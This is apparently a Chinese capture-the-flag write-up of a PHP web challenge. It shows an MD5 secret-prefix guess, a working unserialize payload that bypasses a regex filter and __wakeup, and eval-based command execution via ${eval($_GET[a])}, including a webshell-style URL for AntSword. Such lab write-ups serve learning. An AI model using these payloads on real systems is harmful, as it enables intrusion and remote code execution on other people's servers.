这题也是学习到了很多新的姿势,是一个不错的题目。
进入环境,点击haha,提示:you are 123;if you are not 123,you can get the flag。 再看看,发现get参数里有key=123&hash=f9109d5f83921a551cf859f853afe7bb f12查看源码,发现$hash=md5($sign.$key);the length of $sign is 8 因此我们需要知道$sign是多少。我利用在线md5解密工具,上面的hash解出来是kkkkkk01123。因此我们让key不是123,然后拼接到kkkkkk01后面再md5就构造成功了:
http://dde0956ef78e40029e7935a10fd520ae340296b7e77248fc.changame.ichunqiu.com/index.php?key=1&hash=dd7a859821ed4b03748c278f7e0e5b92这时候页面回显: next step is Gu3ss_m3_h2h2.php
我们访问一下这个页面,还是代码审计。
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("Gu3ss_m3_h2h2.php"); } ?>这里是反序列化漏洞的利用。有2个需要注意的点。首先是正则表达是的绕过,我们可以在前面加个+来绕过:
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}然后就是__wakeup的绕过,可以这样:
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} O:+4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}但是!这时候如果直接base64解码的话,大概率是不行的。我一开始也遇到了这个问题,后来得到了解决: private属性序列化的时候格式是 类名 成员名
private属性序列化的时候格式是 类名 成员名 也就是说,真正的是这样的:
O%3A%2B4%3A%22Demo%22%3A2%3A%7Bs%3A10%3A%22%00Demo%00file%22%3Bs%3A16%3A%22f15g_1s_here.php%22%3B%7D注意 Demo file,如果我们直接复制粘贴然后更改,就会出错。最好用PHP代码来改:
<?php class Demo { private $file = 'f15g_1s_here.php'; } $a = new Demo; $s = serialize($a); $s = str_replace('O:4', 'O:+4',$s);//绕过正则 $s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数 echo base64_encode($s);//最后base64编码这样打印出的就是正确的base64编码了。这里Get到了一个新姿势。
然后就可以获得f15g_1s_here.php的源码:
<?php if (isset($_GET['val'])) { $val = $_GET['val']; eval('$value="' . addslashes($val) . '";'); } else { die('hahaha!'); } ?>这里又是一个新姿势了。其实也不算新姿势,只是自己以前仅仅了解但是不会用。 主要就是eval的命令执行。 我们这样构造:
?val=${eval($_GET[a])}&a=echo `ls`;利用的原理就是像这样实现命令执行:
${phpinfo()}这样成功执行了ls命令,发现了flag所在的文件,然后cat就可以获得flag:
?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;当然,也可以用蚁剑连:
http://dde0956ef78e40029e7935a10fd520ae340296b7e77248fc.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}这个题目对于我来说最重要的就是最后的命令执行那里,利用${phpinfo}这样命令执行的方式和在里面传递$_GET[a],然后把代码写到另一个参数a里的方式都是我所没掌握的。还是要学习啊。